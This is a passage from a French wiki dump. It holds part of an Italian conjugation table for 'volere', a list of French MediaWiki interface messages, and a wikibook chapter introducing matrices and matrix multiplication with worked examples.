width="27%"> <div align="center">vorr&ograve;</div> </td> <td width="24%"> <div align="center">volli</div> </td> </tr> <tr> <td width="23%"> <div align="center">vuoi</div> </td> <td width="26%"> <div align="center">volevi</div> </td> <td width="27%"> <div align="center">vorrai</div> </td> <td width="24%"> <div align="center">volesti</div> </td> </tr> <tr> <td width="23%"> <div align="center">vuole</div> </td> <td width="26%"> <div align="center">voleva</div> </td> <td width="27%"> <div align="center">vorr&agrave;</div> </td> <td width="24%"> <div align="center">volle</div> </td> </tr> <tr> <td width="23%"> <div align="center">vogliamo</div> </td> <td width="26%"> <div align="center">volevamo</div> </td> <td width="27%"> <div align="center">vorremo</div> </td> <td width="24%"> <div align="center">volemmo</div> </td> </tr> <tr> <td width="23%"> <div align="center">volete</div> </td> <td width="26%"> <div align="center">volevate</div> </td> <td width="27%"> <div align="center">vorrete</div> </td> <td width="24%"> <div align="center">voleste</div> </td> </tr> <tr> <td width="23%"> <div align="center">vogliono</div> </td> <td width="26%"> <div align="center">volevano</div> </td> <td width="27%"> <div align="center">vorranno</div> </td> <td width="24%"> <div align="center">vollero</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pass&eacute; compos&eacute;'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Plus-que-parfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Futur ant&eacute;rieur'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Pass&eacute; ant&eacute;rieur'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">ho voluto</div> <td width="26%"> <div align="center">avevo voluto</div> </td> <td width="27%"> <div align="center">avr&ograve; voluto</div> </td> <td width="24%"> <div align="center">ebbi voluto</div> </td> </tr> <tr> <td width="23%"> <div align="center">hai voluto</div> </td> <td width="26%"> <div align="center">avevi voluto</div> </td> <td width="27%"> <div align="center">avrai voluto</div> </td> <td width="24%"> <div align="center">avesti voluto</div> </td> </tr> <tr> <td width="23%"> <div align="center">ha voluto</div> </td> <td width="26%"> <div align="center">aveva voluto</div> </td> <td width="27%"> <div align="center">avr&agrave; voluto</div> </td> <td width="24%"> <div align="center">ebbe voluto</div> </td> </tr> <tr> <td width="23%"> <div align="center">abbiamo voluto</div> </td> <td width="26%"> <div align="center">avevamo voluto</div> </td> <td width="27%"> <div align="center">avremo voluto</div> </td> <td width="24%"> <div align="center">avemmo voluto</div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">avete voluto</div> </td> <td width="26%" height="13"> <div align="center">avevate voluto</div> </td> <td width="27%" height="13"> <div align="center">avrete voluto</div> </td> <td width="24%" height="13"> <div align="center">aveste voluto</div> </td> </tr> <tr> <td width="23%"> <div align="center">hanno voluto</div> </td> <td width="26%"> <div align="center">avevano voluto</div> </td> <td width="27%"> <div align="center">avranno voluto</div> </td> <td width="24%"> <div align="center">ebbero voluto</div> </td> </tr> </table> <center>'''SUBJONCTIF'''</center> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Imparfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Pass&eacute;'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Plus-que-parfait'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">voglia</div> </td> <td width="26%"> <div align="center">volessi</div> </td> <td width="27%"> <div align="center">abbia voluto</div> </td> <td width="24%"> <div align="center">avessi voluto</div> </td> </tr> <tr> <td width="23%"> <div align="center">voglia</div> </td> <td width="26%"> <div align="center">volessi</div> <td width="27%"> <div align="center">abbia voluto</div> </td> <td width="24%"> <div align="center">avessi voluto</div> </td> </tr> <tr> <td width="23%"> <div align="center">voglia</div> </td> <td width="26%"> <div align="center">volesse</div> </td> <td width="27%"> <div align="center">abbia voluto</div> </td> <td width="24%"> <div align="center">avesse voluto</div> </td> </tr> <tr> <td width="23%"> <div align="center">vogliamo</div> </td> <td width="26%"> <div align="center">volessimo</div> </td> <td width="27%"> <div align="center">abbiamo voluto</div> </td> <td width="24%"> <div align="center">avessimo voluto</div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">vogliate</div> </td> <td width="26%" height="13"> <div align="center">voleste</div> </td> <td width="27%" height="13"> <div align="center">abbiate voluto</div> </td> <td width="24%" height="13"> <div align="center">aveste voluto</div> </td> </tr> <tr> <td width="23%"> <div align="center">vogliano</div> </td> <td width="26%"> <div align="center">volessero</div> </td> <td width="27%"> <div align="center">abbiamo voluto</div> </td> <td width="24%"> <div align="center">avessero voluto</div> </td> </tr> </table> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td height="52"> <div align="center">'''CONDITIONNEL'''</div> </td> <td width="27%" height="52"> <div align="center">'''IMP&Eacute;RATIF'''</div> </td> <td width="24%" height="52"> <div align="center">'''PARTICIPE PASS&Eacute;'''</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Pass&eacute;'''</div> </td> <td width="27%"> <div align="center"></div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">vorrei</div> </td> <td width="26%"> <div align="center">avrei voluto</div> </td> <td width="27%"> <div align="center"></div> </td> <td width="24%"> <div align="center">voluto</div> </td> </tr> <tr> <td width="23%"> <div align="center">vorresti</div> </td> <td width="26%"> <div align="center">avresti voluto</div> </td> <td width="27%"> <div align="center">inusité</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">vorrebbe</div> </td> <td width="26%"> <div align="center">avrebbe voluto</div> </td> <td width="27%"> <div align="center">inusité</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">vorremmo</div> </td> <td width="26%"> <div align="center">avremmo voluto</div> </td> <td width="27%"> <div align="center">inusité</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">vorreste</div> </td> <td width="26%" height="13"> <div align="center">avreste voluto</div> </td> <td width="27%" height="13"> <div align="center">inusité</div> </td> <td width="24%" height="13"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">vorrebbero</div> </td> <td width="26%"> <div align="center">avrebbero voluto</div> </td> <td width="27%"> <div align="center">inusité</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> </table> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td height="52"> <div align="center">'''INFINITIF'''</div> </td> <td height="52"> <div align="center">'''G&Eacute;RONDIF'''</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Pass&eacute;'''</div> </td> <td width="27%" bgcolor="#E6CCF2"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td width="24%" bgcolor="#BCE9A7"> <div align="center">'''Pass&eacute;'''</div> </td> </tr> <tr> <td width="23%"> <div align="center"`>volere</div> <td width="26%"> <div align="center">avere voluto</div> </td> <td width="27%"> <div align="center">volendo</div> </td> <td width="24%"> <div align="center">avendo voluto</div> </td> </tr> </table> MediaWiki:Accesskey-diff 4070 sysop 19462 2005-08-19T23:11:33Z MediaWiki default v MediaWiki:Addgrouplogentry 4071 sysop 15537 2005-07-03T11:17:06Z MediaWiki default Added group $2 MediaWiki:Allinnamespace 4072 sysop 26177 2005-11-29T00:47:46Z MediaWiki default Toutes les pages (espace de nom $1) MediaWiki:Allnonarticles 4073 sysop 46676 2006-07-01T18:48:48Z MediaWiki default Tous les noms articles MediaWiki:Allnotinnamespace 4074 sysop 46677 2006-07-01T18:48:48Z MediaWiki default Toutes les pages (n\’étant pas dans l'espace de nom $1) MediaWiki:Allpagesfrom 4075 sysop 46679 2006-07-01T18:48:48Z MediaWiki default Afficher les pages à partir de : MediaWiki:Already bureaucrat 4076 sysop 46681 2006-07-01T18:48:48Z MediaWiki default Cet utilisateur est déjà un bureaucrate MediaWiki:Already steward 4077 sysop 46682 2006-07-01T18:48:48Z MediaWiki default Cet utilisateur est déjà un steward MediaWiki:Already sysop 4078 sysop 46683 2006-07-01T18:48:48Z MediaWiki default Cet utilisateur est déjà un administrateur MediaWiki:Badaccess 4079 sysop 15551 2005-07-03T11:17:07Z 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MediaWiki:Invalidemailaddress 4383 sysop 46834 2006-07-01T18:48:49Z MediaWiki default Cette adresse de courriel ne peut pas être acceptée parce qu'elle semble avoir un format invalide. Veuillez entrer une adresse valide ou vider ce champ. MediaWiki:Invert 4384 sysop 21875 2005-09-22T11:05:24Z Guillaumito 46 traduction Inverser la sélection MediaWiki:Ipadressorusername 4385 sysop 46836 2006-07-01T18:48:49Z MediaWiki default Adresse IP ou nom d'utilisateur MediaWiki:Ipboptions 4386 sysop 46838 2006-07-01T18:48:49Z MediaWiki default 2 heures:2 hours,1 jour:1 day,3 jours:3 days,1 semaine:1 week,2 semaines:2 weeks,1 mois:1 month,3 mois:3 months,6 mois:6 months,1 an:1 year,Permanent:infinite MediaWiki:Ipbother 4387 sysop 46839 2006-07-01T18:48:49Z MediaWiki default Autre durée MediaWiki:Ipbotheroption 4388 sysop 46840 2006-07-01T18:48:49Z MediaWiki default autre MediaWiki:Mediawarning 4389 sysop 46860 2006-07-01T18:48:49Z MediaWiki default '''Attention''': Ce fichier peut contenir du code malveillant, votre système pouvant être mis en danger par son exécution. <hr> MediaWiki:Metadata 4390 sysop 46861 2006-07-01T18:48:49Z MediaWiki default Métadonnées MediaWiki:Metadata page 4391 sysop 15886 2005-07-03T11:17:09Z MediaWiki default Wikipedia:Metadata MediaWiki:Movelogpage 4392 sysop 46877 2006-07-01T18:48:49Z MediaWiki default Journal des renommages MediaWiki:Movelogpagetext 4393 sysop 46878 2006-07-01T18:48:49Z MediaWiki default Ci-dessous apparaît la liste des pages renommées. MediaWiki:Movereason 4394 sysop 46882 2006-07-01T18:48:49Z MediaWiki default Raison du renommage MediaWiki:Namespace 4395 sysop 21883 2005-09-22T14:40:07Z Guillaumito 46 traduction Espace de nom : MediaWiki:Noemailprefs 4396 sysop 46896 2006-07-01T18:48:50Z MediaWiki default <strong>Veuillez fournir une adresse de courriel pour le bon fonctionnement de ces fonctionnalités.</strong> MediaWiki:Noimage 4397 sysop 46899 2006-07-01T18:48:50Z MediaWiki default Aucun fichier possèdant ce nom n'existe, vous pouvez $1. MediaWiki:Number of watching users RCview 4398 sysop 15897 2005-07-03T11:17:09Z MediaWiki default [$1] MediaWiki:Number of watching users pageview 4399 sysop 46910 2006-07-01T18:48:50Z MediaWiki default [$1 utilisateur/s suivant] MediaWiki:Passwordtooshort 4400 sysop 46917 2006-07-01T18:48:50Z MediaWiki default Votre mot de passe est trop court. Il doit contenir au moins $1 caractères. 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MediaWiki:Print 4404 sysop 46927 2006-07-01T18:48:50Z MediaWiki default Imprimer MediaWiki:Recentchangesall 4405 sysop 46951 2006-07-01T18:48:50Z MediaWiki default toutes MediaWiki:Renamegrouplogentry 4406 sysop 15917 2005-07-03T11:17:09Z MediaWiki default Renamed group $2 to $3 MediaWiki:Restrictedpheading 4407 sysop 46957 2006-07-01T18:48:50Z MediaWiki default Pages spécials d'accès restreint MediaWiki:Revertmove 4408 sysop 46975 2006-07-01T18:48:50Z MediaWiki default révocation MediaWiki:Scarytranscludedisabled 4409 sysop 46983 2006-07-01T18:48:50Z MediaWiki default [La transclusion interwiki est désactivée] MediaWiki:Scarytranscludefailed 4410 sysop 46984 2006-07-01T18:48:50Z MediaWiki default [La récupération de modèle a échoué pour $1 ; désolé] MediaWiki:Scarytranscludetoolong 4411 sysop 46985 2006-07-01T18:48:50Z MediaWiki default [L'URL est trop longue ; désolé] MediaWiki:Searchfulltext 4412 sysop 46988 2006-07-01T18:48:50Z MediaWiki default Recherche en texte intégral MediaWiki:Selfmove 4413 sysop 46992 2006-07-01T18:48:50Z MediaWiki default La page source et de destination sont identiques ; il est impossible de renommer une page en elle-même MediaWiki:Setstewardflag 4414 sysop 46998 2006-07-01T18:48:50Z MediaWiki default Ajouter le statut de Steward MediaWiki:Shareduploadwiki 4415 sysop 46999 2006-07-01T18:48:50Z MediaWiki default Veuillez consulter le $1 pour plus d'informations. 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[alt-v] MediaWiki:Tryexact 4428 sysop 47051 2006-07-01T18:48:51Z MediaWiki default Essayez la correspondance exacte MediaWiki:Undelete short1 4429 sysop 15955 2005-07-03T11:17:10Z MediaWiki default Restaurer MediaWiki:Upload directory read only 4430 sysop 47078 2006-07-01T18:48:51Z MediaWiki default Le serveur Web ne peut écrire dans le dossier cible ($1). MediaWiki:Uploadnewversion 4431 sysop 15961 2005-07-03T11:17:10Z MediaWiki default [$1 Upload a new version of this file] MediaWiki:Uploadscripted 4432 sysop 47083 2006-07-01T18:48:51Z MediaWiki default Ce fichier contient du code HTML ou un script qui pourrait être interprété de façon incorrecte par un navigateur Internet. MediaWiki:Uploadvirus 4433 sysop 47084 2006-07-01T18:48:51Z MediaWiki default Ce fichier contient un virus ! Pour plus de détails, consultez : $1 MediaWiki:Userrights 4434 sysop 47087 2006-07-01T18:48:51Z MediaWiki default Gestion des droits utilisateurs MediaWiki:Userrights-editusergroup 4435 sysop 47088 2006-07-01T18:48:51Z MediaWiki default Éditer les groupes de l'utilisateur MediaWiki:Userrights-groupsavailable 4436 sysop 47089 2006-07-01T18:48:51Z MediaWiki default Groupes disponibles : MediaWiki:Userrights-groupshelp 4437 sysop 47090 2006-07-01T18:48:51Z MediaWiki default Choisissez les groupes desquels vous voulez retirer ou rajouter l'utilsateur. Les groupes non sélectionnés ne seront pas modifiés. Vous pouvez désélectionner un groupe avec CTRL + clic gauche. MediaWiki:Userrights-groupsmember 4438 sysop 47091 2006-07-01T18:48:51Z MediaWiki default Membre de : MediaWiki:Userrights-logcomment 4439 sysop 47092 2006-07-01T18:48:51Z MediaWiki default Adhésion au groupe changée de $1 à $2 MediaWiki:Userrights-lookup-user 4440 sysop 47093 2006-07-01T18:48:51Z MediaWiki default Gérer les goupes d'utilisateur MediaWiki:Userrights-user-editname 4441 sysop 47094 2006-07-01T18:48:51Z MediaWiki default Entrer un nom d'utilisateur : MediaWiki:Val add 4442 sysop 15977 2005-07-03T11:17:10Z MediaWiki default Add MediaWiki:Val del 4443 sysop 15978 2005-07-03T11:17:10Z MediaWiki default Delete MediaWiki:Val details th 4444 sysop 15979 2005-07-03T11:17:10Z MediaWiki default <sub>User</sub> \ <sup>Topic</sup> MediaWiki:Val details th user 4445 sysop 17972 2005-07-29T10:37:05Z MediaWiki default Utilisateur $1 MediaWiki:Val iamsure 4446 sysop 15982 2005-07-03T11:17:10Z MediaWiki default Check this box if you really mean it! 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Consultez [[Special:Version]] MediaWiki:Views 4470 sysop 47097 2006-07-01T18:48:51Z MediaWiki default Affichages MediaWiki:Watchlistall1 4471 sysop 47102 2006-07-01T18:48:51Z MediaWiki default tout MediaWiki:Watchlistall2 4472 sysop 47103 2006-07-01T18:48:51Z MediaWiki default tout MediaWiki:Wlheader-enotif 4473 sysop 47116 2006-07-01T18:48:51Z MediaWiki default * La notification par courriel est activée. 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La théorie des matrices nous aide à résoudre des systèmes d'équations d'une manière relativement facile. Par exemple, le système d'équations : :<math>x + y = 10\,</math> :<math>x - y = 4\,</math> possède la solution ''x'' = 7 et ''y'' = 3. C'est très facile à résoudre. Mais avez-vous essayé de résoudre un système d'équations à quatre variables ? C.a.d. : <math> \begin{matrix} x& + &5y& + &10w& + &20z& &=& 10 \\ x& - &3y& - &5w& + &9z& &=& 2 \\ 3x& - &y& - &w& - &z& &=& 2 \\ 3x& + &2y& + &4w& - &5z& &=& 1 \\ \end{matrix} </math> Ce simple problème prendra à une personne douée en arithmétique un long moment pour le résoudre en utilisant les substitutions et les éliminations. La théorie des matrices nous fournit, avec des algorithmes pour résoudre ces systèmes d'équations, une manière de déterminer rapidement si une solution ''unique'' existe. Les matrices sont très compactes et propres dans leur représentation sur papier; l'équation matricielle correspondante au problème ci-dessus donne : :<math> \begin{pmatrix} 1 & 5&10&20 \\ 1&-3&-5&9\\ 3&-1&-1&-1\\ 3&2&4&-5 \end{pmatrix} \begin{pmatrix} x\\ y\\ w\\ z\\ \end{pmatrix} = \begin{pmatrix} 10\\ 2\\ 2\\ 1\\ \end{pmatrix} </math> Les ordinateurs sont très doués avec les tableaux de nombres, donc en représentant les systèmes d'équations comme des matrices les rends réellement plus facile à calculer. === Exemples de matrices === Ce qui suit sont toutes des matrices : {| border="1" | <math> \begin{pmatrix} 1 & 5&10&20 \\ 1&-3&-5&9\\ 3&-1&-1&-1\\ 3&2&4&-5 \end{pmatrix} </math> | <math> \begin{pmatrix} x\\ y\\ w\\ z\\ \end{pmatrix} </math> | <math> \begin{pmatrix} 20\\ 2\\ 2\\ 1\\ \end{pmatrix} </math> | <math> \begin{pmatrix} 1&4&8&20 \end{pmatrix} </math> |} Donc, maintenant nous voyons ce que signifie "une matrice est simplement un tableau de nombres". La première matrice possède 4 lignes et 4 colonnes, donc nous l'appelons une matrice 4 x 4 (4 par 4); la deuxième et la troisième possèdent chacune 4 lignes et 1 colonne, dont nous les appelons des matrices 4 x 1 (4 par 1). Comme montré ici, les matrices peuvent être de différentes tailles. La ''forme'' d'une matrice est le nom pour les dimensions de celle-ci (''m'' par ''n'', où ''m'' est le nombre de lignes et ''n'' le nombre de colonnes). Voici quelques exemples supplémentaires de matrices : :Un exemple de matrice 3 x 3 : :<math> \begin{pmatrix} 1&2&3\\ 4&5&6\\ 7&8&9\\ \end{pmatrix} </math> :Un exemple de matrice 5 x 4 : :<math> \begin{pmatrix} a&b&c&d\\ h&g&f&e\\ i&j&k&l\\ p&o&n&m\\ q&r&s&t\\ \end{pmatrix} </math> :Un exemple de matrice 1 x 6 : :<math> \begin{pmatrix} 1&2&3&4&5&6\\ \end{pmatrix} </math> === Eléments === Un élément d'une matrice est un nombre particulier à l'intérieur de la matrice, et est localisé avec une paire de nombres. C.a.d. soit la matrice suivante notée par A, ou symboliquement : :<math>A = \begin{pmatrix} 1&2&3\\ 4&5&6\\ 7&8&9\\ \end{pmatrix} </math> l'entrée (2,2) de A est 5; l'entrée (1,1) de A est 1, l'entrée (3,3) de A est 9 et l'entrée (3,2) de A est 8. L'entrée (i,j) de A est généralement notée <math>a_{i,j}\,</math> et l'entrée (i,j) d'une matrice B est généralement notée <math>b_{i,j}\,</math> et ainsi de suite. === Résumé === * Une matrice est un tableau de nombres. * Une matrice ''m'' x ''n'' possède ''m'' lignes et ''n'' colonnes. * La ''forme'' d'une matrice est déterminée par son nombre de lignes et de colonnes. * Le (''i'',''j'')ème élément d'une matrice est localisé dans la ''i''ème ligne et la ''j''ème colonne. * Moyen mnémotechnique: le licol (lien passé aux chevaux) rappelle que la matrice X*Y possède X '''LI'''gnes et Y '''COL'''onnes === Addition matricielle & Multiplication par un scalaire === Les matrices peuvent être ajoutées ensemble. Mais seulement celles qui ont la même ''forme'' peuvent être ajoutées. Ceci est très naturel. C.a.d. :<math> A = \begin{pmatrix} 1&2&3\\ 4&5&6\\ 7&8&9\\ \end{pmatrix} </math> :<math> B = \begin{pmatrix} 2&9&8\\ 0&-1&8\\ 4&6&7\\ \end{pmatrix} </math> puis :<math> A + B = \begin{pmatrix} 1&2&3\\ 4&5&6\\ 7&8&9\\ \end{pmatrix} + \begin{pmatrix} 2&9&8\\ 0&-1&8\\ 4&6&7\\ \end{pmatrix} = \begin{pmatrix} 1+2&2+9&3+8\\ 4+0&5+(-1)&6+8\\ 7+4&8+6&9+7\\ \end{pmatrix} </math> :<math> = \begin{pmatrix} 3&11&11\\ 4&4&14\\ 11&14&16\\ \end{pmatrix} </math> De manière similaire, les matrices peuvent être multipliées par un ''scalaire'', un nombre ou une grandeur qui peut être décrit sans direction (c.a.d. ouest, nord), à la différence d'un vecteur (qui est aussi un type spécial de matrices). Vous n'avez pas à vous soucier des définitions ici, simplement se souvenir qu'un ''scalaire'' est un nombre. ::<math> 5A = A + A + A + A + A = 5\begin{pmatrix} 1&2&3\\ 4&5&6\\ 7&8&9\\ \end{pmatrix} = \begin{pmatrix} 5&10&15\\ 20&25&30\\ 35&40&45\\ \end{pmatrix} </math> dans ce cas, la valeur scalaire est 5. En général, ''s'' x A, où ''s'' est un scalaire et A un matrice, nous multiplions chaque entrée de A par ''s''. C'est aussi simple que ça. == Multiplication matricielle == Les matrices peuvent être multipliées ensemble, et la multiplication des matrices est réellement ce dont nous voulons nous occuper dans ce chapitre. Par souci de simplicité, nous nous occuperons de matrices à deux colonnes et deux lignes. Commençons avec un exemple : :<math> \begin{matrix} A_{2\times 1} = \begin{pmatrix} 2\\ 9\\ \end{pmatrix} & , & B_{1\times 2} = \begin{pmatrix} 3 & 5 \end{pmatrix} \end{matrix} </math> alors :<math> B_{1\times 2} \times A_{2\times 1} = \begin{pmatrix} 3 & 5 \end{pmatrix} \times \begin{pmatrix} 2\\ 9\\ \end{pmatrix} = \begin{pmatrix} (3 \times 2) + (5 \times 9) \end{pmatrix} = \begin{pmatrix} 51 \end{pmatrix} </math> De manière similaire, si : :<math> \begin{matrix} A_{3\times 1} = \begin{pmatrix} 1\\ 2\\ 3\end{pmatrix} & , & B_{1\times 3} = \begin{pmatrix} 4 & 5 & 6\end{pmatrix} \end{matrix} </math> alors :<math> B_{1\times 3} \times A_{3\times 1}= \begin{pmatrix} 4 & 5 &6 \end{pmatrix} \times \begin{pmatrix}1\\2\\3\\\end{pmatrix} = \begin{pmatrix}(4 \times 1) + (5 \times 2) + (6 \times 3)\end{pmatrix} = \begin{pmatrix} 32 \end{pmatrix} </math> Une matrice d'une seule ligne est appelée un ''vecteur ligne'', de manière similaire, une matrice d'une seule colonne est appelée un ''vecteur colonne''. Losque nous multiplions un vecteur ligne A, avec un vecteur colonne B, nous multiplions l'élément de la première colonne de A par l'élément de la première ligne de B et ajoutons le produit à la deuxième colonne de A et la deuxième ligne de B et ainsi de suite. Plus généralement, nous multiplions <math>a_{1,i}\,</math> par <math>b_{i,1}\,</math> (où ''i'' parcours de 1 à n, le nombre de lignes/colonnes) et ajoutons tous les produits. Symboliquement : : <math> A_{1\times n} \times B_{n\times 1} = (\sum_{i=1}^na_{1,i}\times b_{i,1} )</math> (pour plus d'information sur le signe <math>\sum</math>, voir [[ AL Signe de sommation | Signe de sommation]]) :où ''n'' est le nombre de lignes/colonnes. : En mots : le produit d'un vecteur colonne et d'un vecteur ligne est la somme du produti de l'article 1,''i'' à partir du vecteur ligne et ''i'',1 à partir du vecteur colonne où ''i'' est à partir de 1 à la largeur/hauteur de ces vecteurs. '''Note :''' Le produit de matrices est aussi une matrice. Le produit d'un vecteur ligne et d'un vecteur colonne est une matrice 1 x 1, et non un scalaire. === Exercices === Multiplier : :<math>\begin{pmatrix}1&2\end{pmatrix}\begin{pmatrix}1\\2\end{pmatrix}</math> :<math>\begin{pmatrix}\frac{1}{8}&9\end{pmatrix}\begin{pmatrix}16\\2\end{pmatrix}</math> :<math>\begin{pmatrix}a&b\end{pmatrix}\begin{pmatrix}d\\e\end{pmatrix}</math> :<math>\begin{pmatrix}6 + 6b&3 - b\end{pmatrix}\begin{pmatrix}0\\0\end{pmatrix}</math> :<math>\begin{pmatrix}0&abc\end{pmatrix} \begin{pmatrix}a\\0\end{pmatrix}</math> === Multiplication de matrices non-vectorielles === Supposons <math>A_{m \times n}B_{n \times p} = C_{m \times p}</math> où ''A'', ''B'' et ''C'' sont des matrices. Nous multiplions la ''i''ème ligne de ''A'' avec la ''j''ème colonne de ''B'' comme si elles étaient des matrices vectorielles. Le nombre résultant est l'élément (''i'',''j'')ème de ''C''. Symboliquement : :<math>c_{i,j} = \sum_{k=1}^{n}a_{i,k}\times b_{k,j}</math> ==== Exemple 1 ==== Evaluer AB = C et BA = D, où :<math> A = \begin{pmatrix} 3&2\\ 5&6\\ \end{pmatrix} </math> et :<math> B = \begin{pmatrix} 2&6\\ 8&7\\ \end{pmatrix} </math> ''' Solution ''' :<math>c_{1,1} = \begin{pmatrix} 3&2 \end{pmatrix} \begin{pmatrix}2\\ 8\end{pmatrix} = (3\times 2 + 2\times 8) = (22)</math> :<math>c_{1,2} = \begin{pmatrix} 3&2 \end{pmatrix} \begin{pmatrix}6\\ 7\end{pmatrix} = (3\times 6 + 2\times 7) = (32)</math> :<math>c_{2,1} = \begin{pmatrix} 5&6 \end{pmatrix} \begin{pmatrix}2\\ 8\end{pmatrix} = (5\times 2 + 6\times 8) = (58)</math> :<math>c_{2,2} = \begin{pmatrix} 5&6 \end{pmatrix} \begin{pmatrix}6\\ 7\end{pmatrix} = (5\times 6 + 6\times 7) = (72)</math> i.e. :<math>C = \begin{pmatrix} 22&32\\58&72 \end{pmatrix} </math> :<math>d_{1,1} = \begin{pmatrix} 2&6 \end{pmatrix} \begin{pmatrix}3\\ 5\end{pmatrix} = (2\times 3 + 6\times 5) = (36)</math> :<math>d_{1,2} = \begin{pmatrix} 2&6 \end{pmatrix} \begin{pmatrix}2\\ 6\end{pmatrix} = (2\times 2 + 6\times 6) = (40)</math> :<math>d_{2,1} = \begin{pmatrix} 8&7 \end{pmatrix} \begin{pmatrix}3\\ 5\end{pmatrix} = (8\times 3 + 7\times 5) = (59)</math> :<math>d_{2,2} = \begin{pmatrix} 8&7 \end{pmatrix} \begin{pmatrix}2\\ 6\end{pmatrix} = (8\times 2 + 7\times 6) = (58)</math> i.e. :<math>D = \begin{pmatrix} 36&40\\59&58 \end{pmatrix} </math> ==== Exemple 2 ==== Evaluer AB et BA où :<math>A = \begin{pmatrix} 5&17\\ 2&7 \end{pmatrix} </math> :<math>B = \begin{pmatrix} 7&-17\\ -2&5 \end{pmatrix} </math> ''' Solution ''' :<math> \begin{pmatrix} 5&17\\ 2&7 \end{pmatrix} \begin{pmatrix} 7&-17\\ -2&5 \end{pmatrix} = \begin{pmatrix} 1&0\\ 0&1 \end{pmatrix} </math> :<math> \begin{pmatrix} 7&-17\\ -2&5 \end{pmatrix} \begin{pmatrix} 5&17\\ 2&7 \end{pmatrix} = \begin{pmatrix} 1&0\\ 0&1 \end{pmatrix} </math> ==== Exemple 3 ==== Evaluer AB et BA où :<math>A = \begin{pmatrix} 2&6\\ 0&5 \end{pmatrix} </math> :<math>B = \begin{pmatrix} 5&-6\\ 0&2 \end{pmatrix} </math> ''' Solution ''' :<math> \begin{pmatrix} 2&6\\ 0&5 \end{pmatrix} \begin{pmatrix} 5&-6\\ 0&2 \end{pmatrix} = \begin{pmatrix} 10&0\\ 0&10 \end{pmatrix} </math> :<math> \begin{pmatrix} 5&-6\\ 0&2 \end{pmatrix} \begin{pmatrix} 2&6\\ 0&5 \end{pmatrix} = \begin{pmatrix} 10&0\\ 0&10 \end{pmatrix} </math> ==== Exemple 4 ==== Evaluer la multiplication suivante : :<math> \begin{pmatrix} a\\ b \end{pmatrix} \begin{pmatrix} c&d\\ \end{pmatrix} </math> ''' Solution ''' Noter que : :<math> \begin{pmatrix} a\\ b \end{pmatrix} </math> est une matrice 2 x 1 et :<math> \begin{pmatrix} c&d\\ \end{pmatrix} </math> est une matrice 1 x 2. Donc, la multiplication a un sens et le produit devrait être une matrice 2 x 2. :<math> \begin{pmatrix} a\\ b \end{pmatrix} \begin{pmatrix} c&d\\ \end{pmatrix} = \begin{pmatrix} ac&ad\\ bc&bd\\ \end{pmatrix} </math> ==== Exemple 5 ==== Evaluer la multiplication suivante : :<math> \begin{pmatrix} 1\\ 2 \end{pmatrix} \begin{pmatrix} 3&4\\ \end{pmatrix} </math> ''' Solution ''' :<math> \begin{pmatrix} 1\\ 2 \end{pmatrix} \begin{pmatrix} 3&4\\ \end{pmatrix} = \begin{pmatrix} 1 \times 3& 1 \times 4\\ 2 \times 3& 2 \times 4 \\ \end{pmatrix} = \begin{pmatrix} 3& 4\\ 6& 8 \\ \end{pmatrix} </math> ==== Exemple 6 ==== Evaluer la multiplication suivante : :<math> \begin{pmatrix} a&0\\ 0&b \end{pmatrix} \begin{pmatrix} c&0\\ 0&d \end{pmatrix} </math> ''' Solution ''' <math> \begin{pmatrix} a&0\\ 0&b \end{pmatrix} \begin{pmatrix} c&0\\ 0&d \end{pmatrix} = \begin{pmatrix} ac&0\\ 0&bd \end{pmatrix} </math> '''Note''' : La multiplication de matrices n'est généralement pas commutative, i.e. généralement <math>AB \ne BA\,</math>. ==== Matrices diagonales ==== Une matrice diagonale est une matrice avec des entrées égales à zéro partout excepté sur la diagonale. Multiplier les matrices diagonales est réellement très pratique, puisque vous n'avez seulement qu'à multiplier les entrées diagonales entre-elles. '''Exemples''' Les matrices qui suivent sont toutes diagonales <math> \begin{pmatrix} a&0\\ 0&b \end{pmatrix} \begin{pmatrix} c&0\\ 0&d \end{pmatrix} \begin{pmatrix} 1&0\\ 0&2 \end{pmatrix} \begin{pmatrix} 0&0\\ 0&0 \end{pmatrix} \begin{pmatrix} a&0&0\\ 0&c&0\\ 0&0&0 \end{pmatrix} </math> ''' Exemple 1 ''' <math> \begin{pmatrix} a&0\\ 0&b \end{pmatrix} \begin{pmatrix} e&0\\ 0&f \end{pmatrix} \begin{pmatrix} h&0\\ 0&i\\ \end{pmatrix} = \begin{pmatrix} aeh&0\\ 0&bfi\\ \end{pmatrix} </math> ''' Exemple 2 ''' <math> \begin{pmatrix} a&0\\ 0&b \end{pmatrix} \begin{pmatrix} a&0\\ 0&b \end{pmatrix} 